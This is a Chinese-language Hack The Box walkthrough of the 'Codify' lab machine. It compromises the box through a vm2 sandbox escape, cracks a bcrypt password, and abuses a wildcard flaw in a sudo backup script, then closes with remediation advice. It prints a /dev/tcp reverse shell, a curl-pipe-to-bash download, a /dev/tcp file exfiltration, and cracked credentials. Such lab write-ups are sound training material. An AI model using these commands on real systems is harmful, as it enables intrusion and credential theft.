I just pwned Codify on Hack The Box! Owned Codify from Hack The Box! #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting
说实话有点刁钻,要分析脚本,挺难的,历时4小时,我直接通宵做两天的每日任务
以下是详细渗透测试记录
HTB Codify靶机渗透测试详细记录
1. 初始侦察阶段
端口扫描命令及参数
首先使用高速率全端口扫描发现开放端口:
nmap -sT -min-rate 10000 -p- 10.10.11.239
针对发现的开放端口进行详细探测:
nmap -sT -sC -sV -O -p22,80,3000 10.10.11.239
开放端口及服务列表
- 22/tcp - SSH服务
- 80/tcp - HTTP服务
- 3000/tcp - Node.js服务
发现的服务版本信息
- SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
- HTTP: Apache httpd 2.4.52 (Ubuntu)
- 3000/tcp: Node.js Express框架
- 操作系统: Linux 4.15 - 5.19
2. 服务探测与信息收集
Web服务分析
80端口网站重定向至域名codify.htb
,需要添加本地hosts文件解析:
echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
域名发现与解析
使用feroxbuster进行目录枚举:
feroxbuster -u http://codify.htb
发现以下页面:
/editor
- 在线代码执行页面/limitations
- 功能限制说明/about
- 网站介绍页面
应用程序识别
通过访问http://codify.htb/about
了解到:
- 网站提供在线JavaScript代码执行功能
- 使用vm2沙箱技术限制执行环境
- 明确禁止使用
child_process
和fs
模块
版本信息收集
从/about
页面获取核心信息:
- vm2沙箱版本为3.9.16
- 网站运行在Node.js环境上
3. 漏洞识别与初始访问
发现的潜在漏洞
通过查询发现vm2 v3.9.16存在沙箱逃逸漏洞,对应CVE-2023-30547。
漏洞验证
使用以下代码验证目标是否存在漏洞:
const version = require("vm2/package.json").version;
if (version < "3.9.17") {
console.log("vulnerable!");
} else {
console.log("not vulnerable");
}
确认漏洞存在后,确定执行接口为:
POST /run HTTP/1.1
Host: codify.htb
Content-Type: application/json
成功获取初始访问的方法
- 克隆漏洞利用工具:
git clone https://github.com/rvizx/CVE-2023-30547
cd CVE-2023-30547
- 使用漏洞利用工具执行命令验证可利用性:
python3 exploit.py http://codify.htb/run
> id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
- 构建反弹shell:
# 本地创建shell脚本
echo -e '/usr/bin/sh -i >& /dev/tcp/10.10.16.16/9999 0>&1' > rce.sh
python3 -m http.server 8000
# 监听反弹shell连接
nc -lnvp 9999
# 在目标服务器上执行命令
curl http://10.10.16.16:8000/rce.sh|bash
- 成功获得反弹shell并升级为交互式shell:
script /dev/null -c bash
4. 横向移动
用户枚举与权限分析
通过查看/home
目录发现两个用户:
- svc (当前用户)
- joshua (目标用户)
获取的敏感信息
在web应用目录中发现SQLite数据库文件:
cd /var/www/contacts
file tickets.db
# 输出:tickets.db: SQLite 3.x database
凭证收集与利用
- 将数据库文件传送至本地:
# 本地监听
nc -lvnp 6666 > tickets.db
# 目标服务器发送
cat tickets.db > /dev/tcp/10.10.16.16/6666
- 分析数据库内容,发现用户凭据:
- 用户名: joshua
- 密码哈希: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
- 哈希类型: bcrypt
- 使用hashcat破解密码:
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
成功破解得到密码: spongebob1
- 使用SSH登录joshua用户:
ssh [email protected]
# 密码: spongebob1
- 获取user.txt:
cat user.txt
# 8a4d6481997a080d96ce9251ed5c67e5
5. 权限提升前的信息收集
本地文件分析
检查joshua用户可以使用sudo执行的命令:
sudo -l
发现可以以root权限执行脚本:/opt/scripts/mysql-backup.sh
敏感脚本检查
查看备份脚本内容:
cat /opt/scripts/mysql-backup.sh
脚本分析发现两处安全问题:
- 密码比较逻辑存在漏洞:
if [[ $DB_PASS == $USER_PASS ]]; then
- 变量
$DB_PASS
未用引号包围 - 在Bash双方括号中,右侧被视为匹配模式
- 允许使用通配符(
*
)匹配任何密码
- 密码处理存在信息泄露:
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;")
- 脚本在命令行中直接使用数据库密码
- 进程监控工具可以捕获完整命令行参数
6. 权限提升
工具准备
下载进程监控工具pspy:
# 本地下载并启动HTTP服务
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
python3 -m http.server 8000
# 目标机器下载并准备
curl -o pspy64s http://10.10.16.16:8000/pspy64s
chmod 777 pspy64s
利用过程
- 启动进程监控:
./pspy64s
- 在另一个SSH会话中执行备份脚本:
sudo /opt/scripts/mysql-backup.sh
# 当提示输入密码时,输入通配符 *
- 在pspy输出中捕获到数据库真实密码:
2025/04/04 19:44:51 CMD: UID=0 PID=2412 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys
- 使用获取的root密码进行权限提升:
su root
# 密码: kljh12k3jhaskjh12kjh3
- 获取root.txt:
cat /root/root.txt
# c390b40ca602b4865e424932452c9a14
7. 总结
安全漏洞列表
- Node.js vm2沙箱逃逸漏洞 (CVE-2023-30547)
- 严重性: 高
- 影响: 允许远程代码执行,绕过沙箱限制
- 不安全的凭据存储
- 严重性: 中
- 影响: 在Web应用数据库中存储用户密码哈希
- Bash脚本中的不安全字符串比较
- 严重性: 高
- 影响: 允许通过通配符绕过密码验证
- 命令行中明文密码泄露
- 严重性: 高
- 影响: 通过进程监控可获取root密码
风险等级评估
- 整体风险: 高
- 数据泄露风险: 高
- 系统完整性风险: 高
- 可利用性: 容易
详细修复建议
-
升级vm2沙箱至最新版本
- 将vm2升级至3.9.17或更高版本
- 定期跟踪安全公告更新依赖库
-
改进凭据存储机制
- 使用更强的哈希算法和加盐机制
- 考虑实施密码强度策略
-
脚本安全性增强
- 修复脚本中的字符串比较:
# 修改前 if [[ $DB_PASS == $USER_PASS ]]; then # 修改后 if [[ "$DB_PASS" == "$USER_PASS" ]]; then
-
避免命令行明文密码
- 使用环境变量或配置文件代替命令行参数
- 实现MySQL配置文件或凭据管理系统
-
限制sudo权限
- 遵循最小权限原则
- 对敏感脚本实施更严格的访问控制
预防类似问题的安全策略
- 定期依赖库安全审计
- 使用工具如OWASP Dependency-Check、npm audit
- 建立依赖库补丁管理流程
- 代码审查与安全测试
- 对关键脚本进行安全代码审查
- 实施自动化安全测试流程
- 权限隔离与最小化
- 应用程序使用专用低权限账户运行
- 限制服务间权限共享
- 安全配置管理
- 实施安全配置基线
- 使用安全的密码和凭据管理方案
8. 漏洞利用路径总结
完整攻击链路图
端口扫描 → 发现Web服务 → 确认vm2沙箱 → 利用沙箱逃逸漏洞 →
获取svc用户shell → 发现SQLite数据库 → 提取并破解用户密码 →
获取joshua用户权限 → 发现可执行的备份脚本 → 利用bash条件判断漏洞 →
通过pspy捕获root密码 → 获取root权限
各阶段关键点总结
- 初始访问
- 发现并利用vm2沙箱逃逸获得svc用户权限
- 横向移动
- 通过数据库文件获取用户凭据
- 成功登录joshua用户
- 权限提升
- 利用bash脚本中的两个安全问题
- 通过进程监控捕获明文root密码
攻击向量简明展示
- 入口点: vm2沙箱逃逸 (CVE-2023-30547)
- 权限升级链: svc用户 → joshua用户 → root用户
- 关键漏洞利用:
- JS沙箱逃逸
- 密码哈希破解
- Bash脚本安全漏洞
- 命令行参数监控